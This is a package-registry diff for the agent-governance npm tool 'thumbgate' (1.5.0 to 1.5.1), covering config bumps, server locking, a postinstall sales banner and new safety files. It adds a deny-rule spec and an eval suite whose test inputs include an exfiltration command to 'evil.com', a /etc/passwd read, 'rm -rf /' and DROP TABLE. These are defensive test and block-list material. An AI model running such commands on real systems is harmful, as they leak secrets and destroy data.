thumbgate 1.5.0 → 1.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -2,13 +2,13 @@
2
2
  "mcpServers": {
3
3
  "thumbgate": {
4
4
  "command": "npx",
5
- "args": ["--yes", "--package", "thumbgate@1.5.0", "thumbgate", "serve"]
5
+ "args": ["--yes", "--package", "thumbgate@1.5.1", "thumbgate", "serve"]
6
6
  }
7
7
  },
8
8
  "hooks": {
9
9
  "preToolUse": {
10
10
  "command": "npx",
11
- "args": ["--yes", "--package", "thumbgate@1.5.0", "thumbgate", "gate-check"]
11
+ "args": ["--yes", "--package", "thumbgate@1.5.1", "thumbgate", "gate-check"]
12
12
  }
13
13
  }
14
14
  }
@@ -1,9 +1,11 @@
1
1
  # Codex MCP profile (copy into ~/.codex/config.toml or merge section)
2
+ # Preferred: run `npx thumbgate init --agent codex` to also wire
3
+ # ~/.codex/config.json with the ThumbGate hooks and status line.
2
4
  [mcp_servers.thumbgate]
3
5
  command = "npx"
4
- args = ["--yes", "--package", "thumbgate@1.5.0", "thumbgate", "serve"]
6
+ args = ["--yes", "--package", "thumbgate@1.5.1", "thumbgate", "serve"]
5
7
 
6
8
  # Hard PreToolUse hook for Codex
7
9
  [hooks.pre_tool_use]
8
10
  command = "npx"
9
- args = ["--yes", "--package", "thumbgate@1.5.0", "thumbgate", "gate-check"]
11
+ args = ["--yes", "--package", "thumbgate@1.5.1", "thumbgate", "gate-check"]
@@ -3,7 +3,29 @@
3
3
 
4
4
  const fs = require('fs');
5
5
  const path = require('path');
6
+ const promptCache = new Map();
6
7
 
8
+ function getCachedPrompt(key) {
9
+ return promptCache.get(key);
10
+ }
11
+
12
+ function setCachedPrompt(key, prompt) {
13
+ promptCache.set(key, prompt);
14
+ }
15
+
16
+ // Tool schemas for Anthropic-style fine-grained calling
17
+ const toolSchemas = {
18
+ exec: {
19
+ name: 'exec',
20
+ description: 'Run shell commands',
21
+ inputSchema: {
22
+ type: 'object',
23
+ properties: {
24
+ command: { type: 'string' }
25
+ }
26
+ }
27
+ }
28
+ };
7
29
  const {
8
30
  captureFeedback,
9
31
  feedbackSummary,
@@ -124,7 +146,7 @@ const {
124
146
  finalizeSession: finalizeFeedbackSession,
125
147
  } = require('../../scripts/feedback-session');
126
148
 
127
- const SERVER_INFO = { name: 'thumbgate-mcp', version: '1.5.0' };
149
+ const SERVER_INFO = { name: 'thumbgate-mcp', version: '1.5.1' };
128
150
  const COMMERCE_CATEGORIES = [
129
151
  'product_recommendation',
130
152
  'brand_compliance',
@@ -894,8 +916,17 @@ function acquireLock() {
894
916
  process.stderr.write(`[thumbgate] Lock held by PID ${lockData.pid} is ${Math.round(lockAge / 60000)}m old (threshold: ${Math.round(LOCK_STALE_MS / 60000)}m). Reaping orphaned process.\n`);
895
917
  try { process.kill(lockData.pid, 'SIGTERM'); } catch { /* already gone */ }
896
918
  } else {
897
- process.stderr.write(`[thumbgate] FATAL: another MCP server (PID ${lockData.pid}) is already serving ${feedbackDir}. Refusing to start would cause SQLite lock contention.\n`);
898
- process.exit(1);
919
+ // Another session's MCP server is runningcoexist via per-session lock.
920
+ // Each Claude session communicates via its own stdio pipe and needs its own server.
921
+ // SQLite WAL mode handles concurrent access safely.
922
+ process.stderr.write(`[thumbgate] Another MCP server (PID ${lockData.pid}) is running for ${feedbackDir}. Starting concurrent session.\n`);
923
+ const sessionLockFile = path.join(feedbackDir, `.mcp-server-${process.pid}.lock`);
924
+ fs.writeFileSync(sessionLockFile, JSON.stringify({ pid: process.pid, startedAt: new Date().toISOString() }));
925
+ const cleanupSessionLock = () => { try { fs.unlinkSync(sessionLockFile); } catch { /* already removed */ } };
926
+ process.on('exit', cleanupSessionLock);
927
+ process.on('SIGTERM', () => { cleanupSessionLock(); process.exit(0); });
928
+ process.on('SIGINT', () => { cleanupSessionLock(); process.exit(0); });
929
+ return { lockFile: sessionLockFile, cleanupLock: cleanupSessionLock };
899
930
  }
900
931
  }
901
932
  // Stale lock from a dead or reaped process — remove it
@@ -7,7 +7,7 @@
7
7
  "npx",
8
8
  "--yes",
9
9
  "--package",
10
- "thumbgate@1.5.0",
10
+ "thumbgate@1.5.1",
11
11
  "thumbgate",
12
12
  "serve"
13
13
  ],
package/bin/cli.js CHANGED
@@ -182,7 +182,9 @@ function pkgVersion() {
182
182
 
183
183
  const HOME = process.env.HOME || process.env.USERPROFILE || '';
184
184
  const MCP_SERVER_NAME = 'thumbgate';
185
- const MCP_SERVER_NAMES = ['thumbgate', 'mcp-memory-gateway', 'rlhf'];
185
+ // Legacy aliases are cleanup-only. Do not use them as active product or launch surfaces.
186
+ const LEGACY_MCP_SERVER_NAMES = ['mcp-memory-gateway', 'rlhf'];
187
+ const MCP_SERVER_NAMES = [MCP_SERVER_NAME, ...LEGACY_MCP_SERVER_NAMES];
186
188
 
187
189
  function mcpEntriesMatch(entry, expectedEntry) {
188
190
  return Boolean(
@@ -386,18 +388,29 @@ function setupClaude() {
386
388
  function setupCodex() {
387
389
  const configPath = path.join(HOME, '.codex', 'config.toml');
388
390
  const block = mcpSectionBlock(MCP_SERVER_NAME, 'home');
391
+ let configChanged = false;
389
392
  if (!fs.existsSync(configPath)) {
390
393
  fs.mkdirSync(path.dirname(configPath), { recursive: true });
391
394
  fs.writeFileSync(configPath, block);
392
395
  console.log(' Codex: created ~/.codex/config.toml');
393
- return true;
396
+ configChanged = true;
397
+ } else {
398
+ const content = fs.readFileSync(configPath, 'utf8');
399
+ const updated = upsertCodexServerConfig(content);
400
+ if (updated.changed) {
401
+ fs.writeFileSync(configPath, updated.content);
402
+ console.log(' Codex: appended MCP server to ~/.codex/config.toml');
403
+ configChanged = true;
404
+ }
394
405
  }
395
- const content = fs.readFileSync(configPath, 'utf8');
396
- const updated = upsertCodexServerConfig(content);
397
- if (!updated.changed) return false;
398
- fs.writeFileSync(configPath, updated.content);
399
- console.log(' Codex: appended MCP server to ~/.codex/config.toml');
400
- return true;
406
+
407
+ const { wireCodexHooks } = require(path.join(PKG_ROOT, 'scripts', 'auto-wire-hooks'));
408
+ const hookResult = wireCodexHooks({});
409
+ if (hookResult.changed) {
410
+ console.log(' Codex: updated ~/.codex/config.json with hooks and status line');
411
+ }
412
+
413
+ return configChanged || hookResult.changed;
401
414
  }
402
415
 
403
416
  function setupGemini() {
@@ -17,27 +17,35 @@ const {
17
17
  PRO_PRICE_LABEL,
18
18
  TEAM_PRICE_LABEL,
19
19
  } = require('../scripts/commercial-offer');
20
+
21
+ // Tracked click-through path: /go/pro → /checkout/pro → Stripe.
22
+ // This captures UTM attribution in our funnel before handing off to Stripe.
23
+ const PRO_CTA_URL = 'https://thumbgate-production.up.railway.app/go/pro?utm_source=npm&utm_medium=postinstall&utm_campaign=first_dollar';
20
24
  const WORKFLOW_SPRINT_URL = 'https://thumbgate-production.up.railway.app/#workflow-sprint-intake';
21
25
 
22
26
  process.stderr.write(`
23
- ┌─────────────────────────────────────────────────────┐
24
-
25
- │ ThumbGate installed successfully. │
26
- │ │
27
- │ Quick start: │
28
- │ npx thumbgate init │
29
- │ npx thumbgate stats │
30
- │ │
31
- │ Team rollout starts with the Workflow Hardening │
32
- │ Sprint: ${WORKFLOW_SPRINT_URL} │
27
+ ╭─────────────────────────────────────────────────────╮
28
+ ThumbGate installed.
33
29
  │ │
34
- Solo side lane: Pro (personal local dashboard,
35
- DPO export) ${PRO_PRICE_LABEL}:
36
- ${PRO_MONTHLY_PAYMENT_LINK}
37
- Team: ${TEAM_PRICE_LABEL} after intake.
30
+ Every repeat-mistake your agent makes costs
31
+ tokens. ThumbGate blocks known-bad tool calls
32
+ BEFORE the model sees them — zero tokens spent
33
+ on mistakes you've already corrected.
38
34
  │ │
39
- Or run: npx thumbgate pro
40
-
41
- └─────────────────────────────────────────────────────┘
35
+ Start free:
36
+ npx thumbgate init
37
+ │ npx thumbgate stats │
38
+ ╰─────────────────────────────────────────────────────╯
39
+
40
+ Pro — ${PRO_PRICE_LABEL}
41
+ personal local dashboard, DPO export
42
+ Upgrade: ${PRO_CTA_URL}
43
+ Direct: ${PRO_MONTHLY_PAYMENT_LINK}
44
+
45
+ Team: ${TEAM_PRICE_LABEL}
46
+ Workflow Hardening Sprint intake:
47
+ ${WORKFLOW_SPRINT_URL}
48
+
49
+ Or run: npx thumbgate pro
42
50
 
43
51
  `);
@@ -0,0 +1,131 @@
1
+ {
2
+ "name": "agent-safety-eval",
3
+ "description": "Eval suite for the agent-safety spec. Tests that dangerous commands are blocked and safe commands pass.",
4
+ "cases": [
5
+ {
6
+ "id": "force-push-blocked",
7
+ "input": { "command": "git push --force origin main" },
8
+ "expect": "block",
9
+ "constraintId": "no-force-push",
10
+ "reason": "Force push must always be blocked."
11
+ },
12
+ {
13
+ "id": "force-push-short-flag-blocked",
14
+ "input": { "command": "git push -f origin main" },
15
+ "expect": "block",
16
+ "constraintId": "no-force-push",
17
+ "reason": "Short -f flag must also be caught."
18
+ },
19
+ {
20
+ "id": "safe-push-passes",
21
+ "input": { "command": "git push origin main" },
22
+ "expect": "pass",
23
+ "reason": "Normal push should not be blocked."
24
+ },
25
+ {
26
+ "id": "hard-reset-blocked",
27
+ "input": { "command": "git reset --hard HEAD~3" },
28
+ "expect": "block",
29
+ "constraintId": "no-reset-hard",
30
+ "reason": "Hard reset discards work."
31
+ },
32
+ {
33
+ "id": "soft-reset-passes",
34
+ "input": { "command": "git reset --soft HEAD~1" },
35
+ "expect": "pass",
36
+ "reason": "Soft reset is safe."
37
+ },
38
+ {
39
+ "id": "rm-rf-root-blocked",
40
+ "input": { "command": "rm -rf /" },
41
+ "expect": "block",
42
+ "constraintId": "no-rm-rf-root",
43
+ "reason": "Deleting root is catastrophic."
44
+ },
45
+ {
46
+ "id": "rm-rf-project-dir-passes",
47
+ "input": { "command": "rm -rf node_modules" },
48
+ "expect": "pass",
49
+ "reason": "Removing node_modules is safe."
50
+ },
51
+ {
52
+ "id": "aws-key-in-content-blocked",
53
+ "input": { "content": "const key = \"AKIAIOSFODNN7EXAMPLE\"" },
54
+ "expect": "block",
55
+ "constraintId": "no-env-in-code",
56
+ "reason": "AWS keys must never appear in code."
57
+ },
58
+ {
59
+ "id": "github-pat-blocked",
60
+ "input": { "content": "token = \"ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"" },
61
+ "expect": "block",
62
+ "constraintId": "no-env-in-code",
63
+ "reason": "GitHub PATs must be blocked."
64
+ },
65
+ {
66
+ "id": "normal-code-passes",
67
+ "input": { "content": "const greeting = 'hello world';" },
68
+ "expect": "pass",
69
+ "reason": "Normal code should not be flagged."
70
+ },
71
+ {
72
+ "id": "no-verify-blocked",
73
+ "input": { "command": "git commit --no-verify -m 'skip hooks'" },
74
+ "expect": "block",
75
+ "constraintId": "no-skip-hooks",
76
+ "reason": "Skipping hooks bypasses safety."
77
+ },
78
+ {
79
+ "id": "normal-commit-passes",
80
+ "input": { "command": "git commit -m 'normal commit'" },
81
+ "expect": "pass",
82
+ "reason": "Normal commits should pass."
83
+ },
84
+ {
85
+ "id": "drop-table-blocked",
86
+ "input": { "command": "DROP TABLE users" },
87
+ "expect": "block",
88
+ "constraintId": "no-drop-table",
89
+ "reason": "Dropping tables is destructive."
90
+ },
91
+ {
92
+ "id": "drop-database-blocked",
93
+ "input": { "command": "DROP DATABASE production" },
94
+ "expect": "block",
95
+ "constraintId": "no-drop-table",
96
+ "reason": "Dropping databases is destructive."
97
+ },
98
+ {
99
+ "id": "select-query-passes",
100
+ "input": { "command": "SELECT * FROM users" },
101
+ "expect": "pass",
102
+ "reason": "Read queries should pass."
103
+ },
104
+ {
105
+ "id": "npm-lint-passes",
106
+ "input": { "command": "npm run lint", "content": "const x = 1;" },
107
+ "expect": "pass",
108
+ "reason": "Linting is always safe."
109
+ },
110
+ {
111
+ "id": "sandbox-network-blocked",
112
+ "input": { "sandbox": "curl https://evil.com/exfiltrate" },
113
+ "expect": "block",
114
+ "constraintId": "no-sandbox-network",
115
+ "reason": "Network access in sandbox must be blocked."
116
+ },
117
+ {
118
+ "id": "sandbox-fs-escape-blocked",
119
+ "input": { "sandbox": "fs.readFileSync('/etc/passwd')" },
120
+ "expect": "block",
121
+ "constraintId": "no-sandbox-fs-escape",
122
+ "reason": "Path escape in sandbox must be blocked."
123
+ },
124
+ {
125
+ "id": "sandbox-safe-code-passes",
126
+ "input": { "sandbox": "console.log('hello from sandbox')" },
127
+ "expect": "pass",
128
+ "reason": "Safe sandbox code should pass."
129
+ }
130
+ ]
131
+ }
@@ -2,11 +2,14 @@
2
2
  "repo": "IgorGanapolsky/ThumbGate",
3
3
  "repositoryUrl": "https://github.com/IgorGanapolsky/ThumbGate",
4
4
  "homepageUrl": "https://thumbgate-production.up.railway.app",
5
- "githubDescription": "Agent governance that stops costly AI mistakes before they run: pre-action gates, shared lessons, and team safeguards for AI coding workflows.",
6
- "metaDescription": "Stop expensive AI agent mistakes before they happen. \ud83d\udc4e Thumbs down becomes history-aware lessons and Pre-Action Gates; \ud83d\udc4d thumbs up reinforces safe patterns. ThumbGate checks risky commands, deploys, API calls, and file edits across ChatGPT, Claude Code, Cursor, Codex, Gemini, Amp, and OpenCode with workflow governance, shared lessons and org visibility for safer vibe coding.",
5
+ "githubDescription": "Self-improving agent governance: 👍/👎 Pre-Action Gates that block repeat AI mistakes. Stop paying for the same mistake twice.",
6
+ "metaDescription": "Stop paying for the same AI mistake twice. ThumbGate turns 👍 thumbs up and 👎 thumbs down feedback into history-aware lessons and Pre-Action Gates that block repeat AI agent mistakes before they reach the model self-improving agent governance with shared lessons and org visibility for Claude Code, Cursor, Codex, Gemini, Amp, and OpenCode.",
7
7
  "topics": [
8
8
  "thumbgate",
9
9
  "pre-action-gates",
10
+ "save-llm-tokens",
11
+ "reduce-llm-cost",
12
+ "ai-cost-optimization",
10
13
  "mcp",
11
14
  "mcp-server",
12
15
  "ai-agents",
@@ -0,0 +1,79 @@
1
+ {
2
+ "name": "agent-safety",
3
+ "description": "Proactive safety constraints for AI coding agents. Enforced before any action, not learned from failures.",
4
+ "version": "1",
5
+ "constraints": [
6
+ {
7
+ "id": "no-force-push",
8
+ "scope": "bash",
9
+ "deny": "git\\s+push\\s+.*(-f|--force)",
10
+ "reason": "Force push destroys remote history. Use incremental commits instead.",
11
+ "severity": "critical"
12
+ },
13
+ {
14
+ "id": "no-reset-hard",
15
+ "scope": "bash",
16
+ "deny": "git\\s+reset\\s+--hard",
17
+ "reason": "Hard reset discards uncommitted work. Stash or commit first.",
18
+ "severity": "critical"
19
+ },
20
+ {
21
+ "id": "no-rm-rf-root",
22
+ "scope": "bash",
23
+ "deny": "rm\\s+-rf\\s+(/|\\.\\.?/?\\.?$|~)",
24
+ "reason": "Recursive delete at root or parent directory is catastrophic.",
25
+ "severity": "critical"
26
+ },
27
+ {
28
+ "id": "no-env-in-code",
29
+ "scope": "content",
30
+ "deny": "(AKIA[A-Z0-9]{16}|sk-[a-zA-Z0-9]{20,}|ghp_[a-zA-Z0-9]{36}|-----BEGIN (RSA |EC )?PRIVATE KEY-----)",
31
+ "reason": "Secrets, API keys, and private keys must not appear in code or commits.",
32
+ "severity": "critical"
33
+ },
34
+ {
35
+ "id": "no-skip-hooks",
36
+ "scope": "bash",
37
+ "deny": "(--no-verify|--no-gpg-sign)",
38
+ "reason": "Skipping git hooks or GPG signing bypasses safety checks.",
39
+ "severity": "warning"
40
+ },
41
+ {
42
+ "id": "no-drop-table",
43
+ "scope": "any",
44
+ "deny": "DROP\\s+(TABLE|DATABASE|SCHEMA)\\s",
45
+ "reason": "Destructive database operations require explicit operator approval.",
46
+ "severity": "critical"
47
+ },
48
+ {
49
+ "id": "no-sandbox-network",
50
+ "scope": "sandbox",
51
+ "deny": "(curl|wget|fetch|http|net\\.connect|socket)\\s",
52
+ "reason": "Sandbox code must not make network requests. Use mocked endpoints.",
53
+ "severity": "critical"
54
+ },
55
+ {
56
+ "id": "no-sandbox-fs-escape",
57
+ "scope": "sandbox",
58
+ "deny": "(\\.\\./|/etc/|/var/|/usr/|/home/|process\\.env)",
59
+ "reason": "Sandbox code must not access paths outside the sandbox root.",
60
+ "severity": "critical"
61
+ }
62
+ ],
63
+ "invariants": [
64
+ {
65
+ "id": "tests-before-commit",
66
+ "require": "npm\\s+test|node\\s+--test",
67
+ "before": "git\\s+commit",
68
+ "reason": "Tests must run before committing. Run npm test first.",
69
+ "severity": "warning"
70
+ },
71
+ {
72
+ "id": "tests-before-push",
73
+ "require": "npm\\s+test|node\\s+--test",
74
+ "before": "git\\s+push",
75
+ "reason": "Tests must pass before pushing to remote.",
76
+ "severity": "warning"
77
+ }
78
+ ]
79
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "thumbgate",
3
- "version": "1.5.0",
3
+ "version": "1.5.1",
4
4
  "description": "Self-improving agent governance: type thumbs-up or thumbs-down on any AI agent action. ThumbGate turns every mistake into a prevention rule and blocks the pattern from repeating. One thumbs-down, never again. 33 pre-action gates, budget enforcement, and self-protection for Claude Code, Cursor, Codex, Gemini CLI, and Amp.",
5
5
  "homepage": "https://thumbgate-production.up.railway.app",
6
6
  "repository": {
@@ -47,6 +47,7 @@
47
47
  "scripts/belief-update.js",
48
48
  "scripts/billing-setup.js",
49
49
  "scripts/billing.js",
50
+ "scripts/bot-detection.js",
50
51
  "scripts/bot-detector.js",
51
52
  "scripts/build-metadata.js",
52
53
  "scripts/claude-feedback-sync.js",
@@ -68,6 +69,7 @@
68
69
  "scripts/dashboard-render-spec.js",
69
70
  "scripts/dashboard.js",
70
71
  "scripts/decision-journal.js",
72
+ "scripts/decision-trace.js",
71
73
  "scripts/delegation-runtime.js",
72
74
  "scripts/dispatch-brief.js",
73
75
  "scripts/distribution-surfaces.js",
@@ -144,6 +146,10 @@
144
146
  "scripts/risk-scorer.js",
145
147
  "scripts/rlaif-self-audit.js",
146
148
  "scripts/rubric-engine.js",
149
+ "scripts/sales-pipeline.js",
150
+ "scripts/session-episode-store.js",
151
+ "scripts/session-health-sensor.js",
152
+ "scripts/spec-gate.js",
147
153
  "scripts/secret-scanner.js",
148
154
  "scripts/security-scanner.js",
149
155
  "scripts/self-distill-agent.js",
@@ -201,6 +207,7 @@
201
207
  "creator:links": "node scripts/creator-campaigns.js",
202
208
  "stripe:live": "node scripts/stripe-live-status.js",
203
209
  "gtm:revenue-loop": "node scripts/autonomous-sales-agent.js",
210
+ "sales:pipeline": "node scripts/sales-pipeline.js",
204
211
  "social:prepare": "node scripts/social-pipeline.js prepare",
205
212
  "social:post": "node scripts/social-pipeline.js post",
206
213
  "social:queue": "node scripts/social-pipeline.js queue",
@@ -222,9 +229,25 @@
222
229
  "social:mcp": "node scripts/social-analytics/mcp-server.js",
223
230
  "social:post-everywhere": "node scripts/post-everywhere.js",
224
231
  "social:post-everywhere:dry": "node scripts/post-everywhere.js --dry-run",
232
+ "session:health": "node scripts/session-health-sensor.js",
233
+ "session:capture": "node scripts/session-episode-store.js capture",
234
+ "session:patterns": "node scripts/session-episode-store.js patterns",
235
+ "session:history": "node scripts/session-episode-store.js history",
236
+ "spec:check": "node scripts/spec-gate.js check",
237
+ "spec:gates": "node scripts/spec-gate.js gates",
238
+ "spec:audit": "node scripts/spec-gate.js audit",
239
+ "trace:summary": "node scripts/decision-trace.js summary",
240
+ "trace:json": "node scripts/decision-trace.js json",
241
+ "trace:eval": "node scripts/decision-trace.js eval",
225
242
  "social:reply-monitor": "node scripts/social-reply-monitor.js",
226
243
  "social:reply-monitor:dry": "node scripts/social-reply-monitor.js --dry-run",
227
- "test": "npm run test:schema && npm run test:loop && npm run test:dpo && npm run test:kto && npm run test:api && npm run test:proof && npm run test:e2e && npm run test:rlaif && npm run test:attribution && npm run test:quality && npm run test:intelligence && npm run test:training-export && npm run test:deployment && npm run test:operational-integrity && npm run test:workflow && npm run test:billing && npm run test:cli && npm run test:watcher && npm run test:autoresearch && npm run test:ops && npm run test:session-analyzer && npm run test:tessl && npm run test:gates && npm run test:evoskill && npm run test:gates-hardening && npm run test:workers && npm run test:social-analytics && npm run test:memalign && npm run test:xmemory-lite && npm run test:filesystem-search && npm run test:zernio && npm run test:obsidian-export && npm run test:lesson-db && npm run test:lesson-rotation && npm run test:memory-dedup && npm run test:feedback-quality && npm run test:sync-version && npm run test:check-congruence && npm run test:tool-registry && npm run test:feedback-to-rules && npm run test:memory-firewall && npm run test:belief-update && npm run test:hosted-config && npm run test:operational-summary && npm run test:operator-key-auth && npm run test:cloudflare-sandbox && npm run test:mcp-config && npm run test:plan-gate && npm run test:pulse && npm run test:semantic-layer && npm run test:data-pipeline && npm run test:optimize-context && npm run test:principle-extractor && npm run test:analytics-window && npm run test:funnel-analytics && npm run test:experiment-tracker && npm run test:build-metadata && npm run test:context-engine && npm run test:hf-papers && npm run test:marketing-experiment && npm run test:seo-gsd && npm run test:verify-run && npm run test:export-dpo-pairs && npm run test:export-hf-dataset && npm run test:license && npm run test:bot-detector && npm run test:postinstall && npm run test:funnel-invariants && npm run test:cli-telemetry && npm run test:pro-parity && npm run test:model-tier-router && npm run test:computer-use-firewall && npm run test:skill-exporter && npm run test:statusline && npm run test:evolution && npm run test:org-dashboard && npm run test:multi-hop-recall && npm run test:synthetic-dpo && npm run test:thumbgate-skill && npm run test:learn-hub && npm run test:feedback-fallback && npm run test:metaclaw && npm run test:server-lock && npm run test:control-tower && npm run test:pii-scanner && npm run test:data-governance && npm run test:lesson-inference && npm run test:semantic-dedup && npm run test:fs-utils && npm run test:cli-schema && npm run test:explore && npm run test:lesson-reranker && npm run test:lesson-retrieval && npm run test:cross-encoder && npm run test:reflector-agent && npm run test:feedback-session && npm run test:feedback-history-distiller && npm run test:hallucination-detector && npm run test:history-distiller && npm run test:predictive-insights && npm run test:prove-predictive-insights && npm run test:statusbar-cli && npm run test:generate-instagram-card && npm run test:instagram-thumbgate-post && npm run test:publish-instagram-thumbgate && npm run test:lesson-synthesis && npm run test:background-governance && npm run test:memory-migration && npm run test:prompt-dlp && npm run test:ephemeral-store && npm run test:agent-security && npm run test:skill-progressive && npm run test:per-step-scoring && npm run test:weekly-auto-post && npm run test:social-post-hourly && npm run test:social-quality-gate && npm run test:a2ui-engine && npm run test:gate-satisfy && npm run test:money-watcher && npm run test:budget && npm run test:quick-start && npm run test:utm && npm run test:product-feedback && npm run test:feedback-root-consolidator && npm run test:engagement-audit && npm run test:install-growth-automation && npm run test:publish-thumbgate-launch && npm run test:reconcile-thumbgate-campaign && npm run test:reddit-publisher && npm run test:schedule-thumbgate-campaign && npm run test:social-reply-monitor && npm run test:sync-launch-assets && npm run test:ai-search-visibility && npm run test:perplexity && npm run test:security-scanner && npm run test:llm-client && npm run test:managed-lesson-agent && npm run test:self-distill && npm run test:meta-agent && npm run test:harness-selector && npm run test:thumbgate-bench && npm run test:seo-guides && npm run test:enforcement-loop && npm run test:cli-agent-experience",
244
+ "test": "npm run test:schema && npm run test:loop && npm run test:dpo && npm run test:kto && npm run test:api && npm run test:proof && npm run test:e2e && npm run test:rlaif && npm run test:attribution && npm run test:quality && npm run test:intelligence && npm run test:training-export && npm run test:deployment && npm run test:operational-integrity && npm run test:workflow && npm run test:billing && npm run test:cli && npm run test:watcher && npm run test:autoresearch && npm run test:ops && npm run test:session-analyzer && npm run test:tessl && npm run test:gates && npm run test:evoskill && npm run test:gates-hardening && npm run test:workers && npm run test:social-analytics && npm run test:memalign && npm run test:xmemory-lite && npm run test:filesystem-search && npm run test:zernio && npm run test:post-video && npm run test:post-everywhere-instagram && npm run test:obsidian-export && npm run test:lesson-db && npm run test:lesson-rotation && npm run test:memory-dedup && npm run test:feedback-quality && npm run test:sync-version && npm run test:check-congruence && npm run test:tool-registry && npm run test:feedback-to-rules && npm run test:memory-firewall && npm run test:belief-update && npm run test:hosted-config && npm run test:operational-summary && npm run test:operator-key-auth && npm run test:cloudflare-sandbox && npm run test:mcp-config && npm run test:plan-gate && npm run test:pulse && npm run test:semantic-layer && npm run test:data-pipeline && npm run test:optimize-context && npm run test:principle-extractor && npm run test:analytics-window && npm run test:funnel-analytics && npm run test:experiment-tracker && npm run test:build-metadata && npm run test:context-engine && npm run test:hf-papers && npm run test:marketing-experiment && npm run test:seo-gsd && npm run test:verify-run && npm run test:export-dpo-pairs && npm run test:export-hf-dataset && npm run test:license && npm run test:bot-detector && npm run test:postinstall && npm run test:funnel-invariants && npm run test:cli-telemetry && npm run test:pro-parity && npm run test:model-tier-router && npm run test:computer-use-firewall && npm run test:skill-exporter && npm run test:statusline && npm run test:evolution && npm run test:org-dashboard && npm run test:multi-hop-recall && npm run test:synthetic-dpo && npm run test:thumbgate-skill && npm run test:learn-hub && npm run test:feedback-fallback && npm run test:metaclaw && npm run test:server-lock && npm run test:control-tower && npm run test:pii-scanner && npm run test:data-governance && npm run test:lesson-inference && npm run test:semantic-dedup && npm run test:fs-utils && npm run test:cli-schema && npm run test:explore && npm run test:lesson-reranker && npm run test:lesson-retrieval && npm run test:cross-encoder && npm run test:reflector-agent && npm run test:feedback-session && npm run test:feedback-history-distiller && npm run test:hallucination-detector && npm run test:history-distiller && npm run test:predictive-insights && npm run test:prove-predictive-insights && npm run test:statusbar-cli && npm run test:generate-instagram-card && npm run test:instagram-thumbgate-post && npm run test:publish-instagram-thumbgate && npm run test:lesson-synthesis && npm run test:background-governance && npm run test:memory-migration && npm run test:prompt-dlp && npm run test:ephemeral-store && npm run test:agent-security && npm run test:skill-progressive && npm run test:per-step-scoring && npm run test:weekly-auto-post && npm run test:social-post-hourly && npm run test:social-quality-gate && npm run test:a2ui-engine && npm run test:gate-satisfy && npm run test:money-watcher && npm run test:budget && npm run test:quick-start && npm run test:utm && npm run test:product-feedback && npm run test:feedback-root-consolidator && npm run test:engagement-audit && npm run test:install-growth-automation && npm run test:publish-thumbgate-launch && npm run test:reconcile-thumbgate-campaign && npm run test:reddit-publisher && npm run test:schedule-thumbgate-campaign && npm run test:social-reply-monitor && npm run test:sync-launch-assets && npm run test:ai-search-visibility && npm run test:perplexity && npm run test:security-scanner && npm run test:llm-client && npm run test:managed-lesson-agent && npm run test:self-distill && npm run test:meta-agent && npm run test:harness-selector && npm run test:thumbgate-bench && npm run test:seo-guides && npm run test:enforcement-loop && npm run test:cli-agent-experience && npm run test:bot-detection && npm run test:checkout-bot-guard && npm run test:session-health && npm run test:session-episodes && npm run test:spec-gate && npm run test:decision-trace && npm run test:dashboard-insights && npm run test:prompt-eval && npm run test:demo-voiceover && npm run test:gate-coherence && npm run test:gate-eval && npm run test:high-roi && npm run test:public-static-assets && npm run test:token-savings && npm run test:workflow-gate-checkpoint && npm run test:lesson-export-import",
245
+ "test:session-health": "node --test tests/session-health-sensor.test.js",
246
+ "test:session-episodes": "node --test tests/session-episode-store.test.js",
247
+ "test:spec-gate": "node --test tests/spec-gate.test.js",
248
+ "test:dashboard-insights": "node --test tests/dashboard-insights.test.js",
249
+ "test:prompt-eval": "node --test tests/prompt-eval.test.js",
250
+ "test:decision-trace": "node --test tests/decision-trace.test.js",
228
251
  "test:feedback-fallback": "node --test tests/feedback-fallback.test.js",
229
252
  "test:metaclaw": "node --test tests/metaclaw-features.test.js",
230
253
  "test:server-lock": "node --test tests/server-stdio-lock.test.js",
@@ -285,15 +308,16 @@
285
308
  "test:quality": "node --test tests/validate-feedback.test.js",
286
309
  "test:intelligence": "node --test tests/intelligence.test.js",
287
310
  "test:training-export": "node --test tests/training-export.test.js tests/databricks-export.test.js",
288
- "test:deployment": "node --test tests/deployment.test.js tests/deploy-policy.test.js tests/publish-decision.test.js tests/changeset-check.test.js tests/release-notes.test.js tests/sonarcloud-workflow.test.js tests/package-boundary.test.js",
311
+ "test:deployment": "node --test tests/deployment.test.js tests/deploy-policy.test.js tests/publish-decision.test.js tests/changeset-check.test.js tests/release-notes.test.js tests/sonarcloud-workflow.test.js tests/package-boundary.test.js tests/revenue-observability-workflow.test.js",
289
312
  "test:operational-integrity": "node --test tests/operational-integrity.test.js tests/sync-branch-protection.test.js",
290
- "test:workflow": "node --test tests/workflow-contract.test.js tests/social-marketing-assets.test.js tests/social-pipeline.test.js tests/positioning-contract.test.js tests/docs-claim-hygiene.test.js tests/workflow-runs.test.js tests/workflow-sprint-intake.test.js tests/gtm-revenue-loop.test.js tests/enterprise-story.test.js tests/ralph-loop.test.js tests/ralph-mode-ci.test.js",
313
+ "test:workflow": "node --test tests/workflow-contract.test.js tests/social-marketing-assets.test.js tests/social-pipeline.test.js tests/positioning-contract.test.js tests/docs-claim-hygiene.test.js tests/thumbgate-scope.test.js tests/workflow-runs.test.js tests/workflow-sprint-intake.test.js tests/gtm-revenue-loop.test.js tests/sales-pipeline.test.js tests/enterprise-story.test.js tests/ralph-loop.test.js tests/ralph-mode-ci.test.js",
314
+ "test:sales-pipeline": "node --test tests/sales-pipeline.test.js",
291
315
  "test:billing": "node --test tests/billing.test.js",
292
- "test:cli": "node --test tests/analytics-report.test.js tests/creator-campaigns.test.js tests/cli.test.js tests/codex-bridge-script.test.js tests/dispatch-brief.test.js tests/feedback-normalize.test.js tests/install-mcp.test.js tests/pr-manager.test.js tests/pro-local-dashboard.test.js tests/published-cli.test.js tests/revenue-status.test.js",
316
+ "test:cli": "node --test tests/analytics-report.test.js tests/creator-campaigns.test.js tests/cli.test.js tests/codex-bridge-script.test.js tests/dispatch-brief.test.js tests/feedback-normalize.test.js tests/install-mcp.test.js tests/pr-manager.test.js tests/pro-local-dashboard.test.js tests/published-cli.test.js tests/revenue-status.test.js tests/stripe-live-status.test.js",
293
317
  "test:evolution": "node --test tests/workspace-evolver.test.js",
294
318
